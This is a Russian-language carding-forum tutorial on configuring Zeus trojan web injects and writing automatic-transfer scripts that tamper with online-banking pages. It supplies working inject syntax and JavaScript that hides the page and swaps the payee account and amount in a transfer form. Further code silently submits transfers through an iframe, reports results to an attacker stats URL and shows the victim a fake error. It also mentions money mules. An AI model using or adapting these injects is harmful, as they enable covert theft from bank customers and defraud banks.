Сначала немного теории
Для удобства написания, веб-инжекты записываются в отдельный файл, указанный в файле конфигурации как DynamicConfig.file_webinjects. Естественно после создания конченого файла конфигурации, ни какие дополнительные файлы не генерируются.
Файл представляет из себя список URL для которых можно указать неограниченное количество веб-инжектов, изменяемая URL указывается строкой по правилам файла конфигурации:
set_url [url] [флаги] [блэкмаска POST] [вайтмаска POST] [URL блокировки] [маска контекста]
при этом два последних параметра являются не обязательными.
URL - URL на которую должен срабатывать веб-инжект, можно использовать маску.
флаги - определяет основное условие загрузки, может состоять из нескольких флагов в любом порядке, но с учетом регистра. В настоящее время доступны следующие флаги:
P - запускать веб-инжект при POST запросе на URL.
G - запускать веб-инжект при GET запросе на URL.
L - изменяет предназначение веб-инжекта, если указать этот флаг, то будет получен нужный кусок данных и немедленно сохранен в лог.
F - дополняет флаг L, позволяет записывать результат не в лог, а в отдельный файл.
H - дополняет флаг L, сохраняет нужный кусок данных без вырезания тегов.
D - запускать веб-инжект раз в 24 часа.
блэкмаска POST - представляет из себя маску POST-данных передаваемых URL, при которых не будет запускаться веб-инжект.
вайтмаска POST - представляет из себя маску POST-данных передаваемых URL, при которых будет запускаться веб-инжект.
URL блокировки - в случаи если ваш веб-инжект должен грузиться лишь один раз на компьютере жертвы, то здесь следует указать маску URL, в случае открытия которой данный Веб-инжект не будет более использоваться на компьютере. Если вам этого не нужно, оставтье поле пустым.
маска контекста - маска части содержимого страницы, при котором должен сработать веб-инжект.
После указания URL, со следующей строки начинается перечисление веб-инжектов, которое длится до тех пор, пока не достигнут конец файла или не задана новая URL при помощи очередной записи set_url.
Один веб-инжект состоит из трех элементов:
Без флага L:data_before - маска данных после которых нужно записать новые данные.
data_after - маска данных перед которыми следует записать новые данные.
data_inject - новые данные, на которые будет заменено содержимое между data_before, data_after.
С флагом L:data_before - маска данных после которых начинается кусок получаемых данных.
data_after - маска данных перед которыми кончается кусок получаемых данных.
data_inject - играет роль заголовка для получаемых данных, нужен лишь для визуального выделения в логах.
Название элемента должно начинаться с первого байта новой строки и сразу после окончания названия должен быть перенос на следующею строку. Со следующей строки идут данные веб-инжекта, окончание данных обозначается строкой data_end, также это строка должна начинаться с первого байта очередной строки.
Внутри элемента вы можете свободно использовать любые символы.
Примечания:
Как известно, новая строка может обозначаться одним (0x0A) или двумя (0x0D и 0x0A) байтами.
Т.к. в основном веб-инжект используется для подмены содержимого текстовых данных, то данная особенность учтена, и бот успешно запускает веб-инжект даже если у вас новые строки обозначены двумя байтами, а в содержимом URL одним байтом и наоборот.
Элементы веб-инжекта могут быть расположены в любом порядке, т.е. data_before, data_after, data_inject, или data_before, data_inject, data_after и т.д.
Элемент может быть пустым.
При использовании флага L, в получаемых данных каждый тег заменяютя на один пробел.
Пример файла:
Подмена заголовка любого сайта по протоколу http на фразу "HTTP: Web-Inject"
Код:
set_url http://* GP data_before <title> data_end data_inject HTTP: Web-Inject data_end data_after </title> data_end
Подмена заголовка любого сайта по протоколу http на фразу "HTTPS: Web-Inject" и добваление текста "BODY: Web-Inject" сразу после тега <body>
Код:
set_url https://* GP data_before <title> data_end data_inject HTTPS: Web-Inject data_end data_after </title> data_end data_before <body> data_end data_inject <hr>BODY: Web-Inject<hr> data_end data_after data_end
Получем заголовок страницы
Код:
set_url http://*yahoo.com* LGP data_before <title> data_end data_inject Yahoo Title: Web-Inject data_end data_after </title> data_end
Назначение и описание алгоритма
Автозалив (далее АЗ) - процесс автоматического трансфера либо модификации "на лету" какой-либо информации (в основном - платёжной) с компьютера клиента на сервер некой компании (обычно - банка или платёжной системы) без уведомления об этом пользователя. Троян Zeus предоставляет соответствующие возможности для систем онлайн-банкинга и платёжных систем, работающих по web-протоколам.
АЗ может быть пассивный - он лишь модифицирует данные во время перевода, осуществляемого пользователем, и активный, который способен самостоятельно выполнить все операции (загрузка платёжной формы, заполнение полей и отправка данных) без участия пользователя (ему достаточно лишь войти в свой "личный кабинет").
Методы внедрения
Троян Zeus предоставляет возможность писать инжекты - куски кода для внедрения в HTML-страницы.
Допустим у нас есть html-файл:
Код:
<html> <body> blaaaa </body> </html>
Вставляем в webinjects.txt следующий код:
Код:
set_url ********путь-к-нашему html-файлу GP DATA_BEFORE <body DATA_END DATA_AFTER > DATA_END DATA_INJECT > blaaa2<br DATA_END
GP в блоке set_url - Get/Post - методы запроса, при которых нужно модифицировать страницу.
Собираем конфиг... ну как обычно...
Получаем на выходе (после обработки Zeus'ом) следующий html-файл:
Код:
<html> <body> blaaa2<br> blaaaa </body> </html>
Представим, что нам нужно полностью изменить html-код внутри <body>.
Для этого есть комментарии (<!-- html-код тут не будет отображаться -->)
Берем предыдущий пример:
Код:
DATA_INJECT > <!-- *************** DATA_END DATA_BEFORE </body DATA_END DATA_AFTER > DATA_END DATA_INJECT > --> [тут пишем нужный нам html-код на замену] </body DATA_END
Принцип и основные моменты написания АЗ
Типичный АЗ состоит из двух частей:
JavaScript'а, внедренного в страницу инжектом, которое выполняет необходимые действия.
Некоего (PHP/*) скрипта на сервере, который выдаёт необходимую информацию для перевода (реквизиты т.н. "дропов") и пишет статистику.
Втч, возможен вариант динамической генерации самого javascript'а.
С пассивными АЗ всё просто. Рассмотрим пример:
Имеется некий файл transfer.php, внутри которого содержится следующая форма:
Код:
<form action="transfer2.php" method="POST" name="TransferForm"> Account number: <input type="text" name="toacc"><br> Summ: <input type="text" name="summ"><br> <input type="submit" name="submit" value="Transfer"> </form>
Пишем АЗ
Код:
set_url ************/transfer.php GP DATA_BEFORE TransferForm" DATA_END DATA_AFTER > DATA_END DATA_INJECT onSubmit="MyFormSubmit()"> <script language="JavaScript"> //<!-- function MyFormSubmit() { document.body.style.visibility='hidden'; // Прячем тело - чтоб не спалили нашу подмену. document.TransferForm.toacc.value='12345678'; // Меняем поле toacc на наш аккаунт document.TransferForm.summ.value='99999'; // Меняем сумму return true; // После этого на сервер отправятся измененные данные } //--> </script DATA_END
Конечно, данный пример очень примитивен, но рабочий пассивный АЗ отличается от привидённого примера количеством полей в формах.
Теперь рассмотрим пример активного АЗ:
Вариантов внедрения два - iframe и ajax.
В одном случае внедряем iframe на страницу, которая открывается после логина, открываем в нём transfer.php, заполняем форму и "жмём" кнопку submit;
Пример кода (JavaScript):
Код:
function MyTransfer() { frm = document.createElement("iframe"); // создаём ифрейм frm.src = "**************/transfer.php"; // открываем в нём transfer.php frm.window.document.TransferForm.toacc.value='1234 5678'; // заполняем frm.window.document.TransferForm.summ.value='9999' ; // форму frm.window.document.TransferForm.submit(); // отправляем setTimeout("MyCheck(frm,'12345678','9999')", 3000); // через 3 секунды проверка } function MyCheck(frm, acc, summ) { // функция проверки if(/Transfer.complete/.test(frm.window.document.body.innerHTML)) { // если 'transfer complete' img = document.createElement("img"); // создаём "картинку" img.src="********evil.com/stat.php?acc="+acc+"&summ="+summ; // Придаём картинке адрес скрипта сбора статистики - браузер автоматом попытается загрузить "картинку" и отправит данные.... } setTimeout("document.body.innerHTML='Sorry,error'" , 1000); // Через секунду выдаём сообщение об ошибке. } setTimeout("MyTransfer()", 1000); // Через секунду после загрузки скрипта выполняем функцию трансфера
AJAX - тоже самое, только используем XMLHTTP.
Алгоритм:Создать XMLHTTP-объект
Отправить запрос на transfer.php
Получить html-код в ответ, распарсить его и создать запрос, имитирующий заполнение формы.
Отправить запрос на transfer2.php и передать сгенерированный запрос.
Получить в ответ html-код.
Проверить наличие "Transfer complete", если да - отправить запрос скрипту статистики с информацией об успешном переводе.
Выдать сообщение об ошибке.
Код приводить не буду - кому нужно, тот разберётся.
Скажу лишь пару моментов:
1. AJAX'ом отсылать запросы можно только на тот сайт, в контексте которого работает скрипт. Т.е. с 123.com сделать запрос на 222.ru не выйдет.
2. Не забывайте имитировать загрузку - document.style.cursor='wait'; в помощь )
Защита
Метод защиты один - динамическая обфускация html-кода, дабы нельзя было "прицепить" инжект. Различные обфускаторы валяются в интернете.
Других способов защититься от АЗ не существует.
darkcarder.cc